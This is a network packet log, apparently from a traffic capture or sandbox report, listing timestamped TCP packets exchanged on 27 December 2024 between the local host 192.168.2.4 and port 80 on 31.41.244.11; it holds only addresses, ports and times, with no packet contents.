Dec 27, 2024 08:46:31.976161003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.976248980 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.976285934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.977250099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.977344990 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.977377892 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.977427006 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.978274107 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.978317022 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.978373051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.978410006 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.979347944 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.979391098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.979435921 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.979471922 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.980411053 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.980458021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.980515003 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.980551958 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.981515884 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.981559038 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.981597900 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.981633902 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.982563972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.982605934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.982656002 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.982703924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.983630896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.983671904 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.983767986 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.983808041 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.984755039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.984802961 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.984807014 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.984848976 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.985807896 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.985858917 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.985887051 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.985924006 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.986850977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.986898899 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.986990929 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.987030029 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.987946033 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.987993956 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.988034964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.988079071 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.988997936 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.989041090 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.989110947 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.989152908 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.990067005 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.990118027 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.990159988 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.990206003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.991137028 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.991194010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.991234064 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.991285086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.992218018 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.992273092 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.992310047 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.992358923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.993285894 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.993350029 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.993390083 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.993442059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.994383097 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.994441986 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.994492054 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.994540930 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.995438099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.995507002 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.995579958 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.995624065 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.996490955 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.996539116 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.996611118 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.996651888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.997581005 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.997627974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.997693062 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.997733116 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.998656988 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.998698950 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.998768091 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.998806953 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.999811888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.999865055 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:31.999870062 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:31.999912977 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.001012087 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.001027107 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.001060963 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.002487898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.002501965 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.002545118 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.147845984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.147917986 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.147924900 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.147969961 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.148374081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.148425102 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.148462057 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.148516893 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.149216890 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.149267912 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.149306059 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.149353027 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.150278091 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.150329113 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.150367022 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.150412083 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.151360035 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.151408911 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.151447058 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.151493073 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.152451992 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.152513027 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.152534008 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.152595043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.153495073 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.153573990 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.153599977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.153649092 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.154567957 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.154623032 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.154705048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.154753923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.155625105 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.155674934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.155771017 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.155817986 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.156711102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.156766891 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.156804085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.156853914 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.157772064 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.157821894 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.157886028 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.157932043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.158859968 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.158909082 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.158941984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.158987999 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.159915924 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.159965992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.160033941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.160079956 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.161020994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.161072016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.161117077 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.161161900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.162091017 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.162142992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.162168980 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.162214994 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.163162947 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.163216114 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.163255930 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.163306952 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.164428949 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.164443016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.164474964 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.164490938 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.165359974 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.165410042 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.165644884 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.165693998 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.166361094 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.166410923 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.166448116 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.166493893 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.167438984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.167491913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.167557955 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.167606115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.168510914 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.168564081 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.168603897 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.168652058 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.169572115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.169619083 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.169686079 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.169732094 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.170629025 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.170677900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.170754910 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.170802116 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.171710014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.171761036 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.171793938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.171847105 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.172802925 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.172854900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.172900915 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.172946930 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.173858881 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.173907042 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.173945904 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.174000978 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.174923897 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.174972057 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.175009966 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.175055981 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.176003933 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.176058054 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.176158905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.176204920 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.177088022 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.177138090 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.177186966 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.177234888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.178147078 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.178199053 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.178225994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.178271055 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.179209948 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.179258108 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.179328918 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.179378033 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.180313110 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.180366039 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.180408955 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.180454969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.181435108 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.181485891 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.181978941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.182027102 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.182436943 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.182488918 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.182521105 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.182566881 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.183537006 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.183557987 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.183592081 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.183605909 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.184586048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.184637070 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.184678078 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.184722900 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.185637951 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.185688019 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.185745955 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.185791016 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.186728001 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.186778069 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.186815977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.186861992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.187784910 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.187832117 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.187891960 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.187933922 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.188863993 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.188931942 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.188971996 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.189027071 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.189933062 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.189986944 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.190042973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.190088987 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.191061974 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.191112995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.191355944 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.191400051 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.192338943 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.192352057 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.192392111 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.193165064 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.193217993 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.193279028 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.193326950 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.194236040 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.194287062 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.194360971 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.194411993 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.195575953 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.195588112 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.195627928 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.196388006 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.196440935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.196639061 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.196690083 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.197465897 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.197521925 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.197555065 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.197599888 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.198553085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.198607922 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.198657990 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.198714018 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.199609995 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.199666023 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.199702978 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.199749947 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.200733900 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.200783014 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.200812101 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.200862885 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.201761007 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.201822042 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.201860905 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.201905966 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.202821970 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.202873945 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.202938080 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.202982903 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.203917980 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.203969955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.349415064 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.349484921 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.349670887 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.349857092 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.349917889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.349956989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.350004911 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.350935936 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.350989103 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.351340055 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.351389885 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.351423979 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.351469040 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.352396965 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.352466106 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.352487087 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.352533102 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.353460073 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.353518963 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.353594065 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.353650093 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.354559898 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.354629993 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.354648113 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.354693890 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.355596066 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.355670929 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.355710983 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.355752945 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.356694937 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.356765985 CET	49839	80	192.168.2.4	31.41.244.11
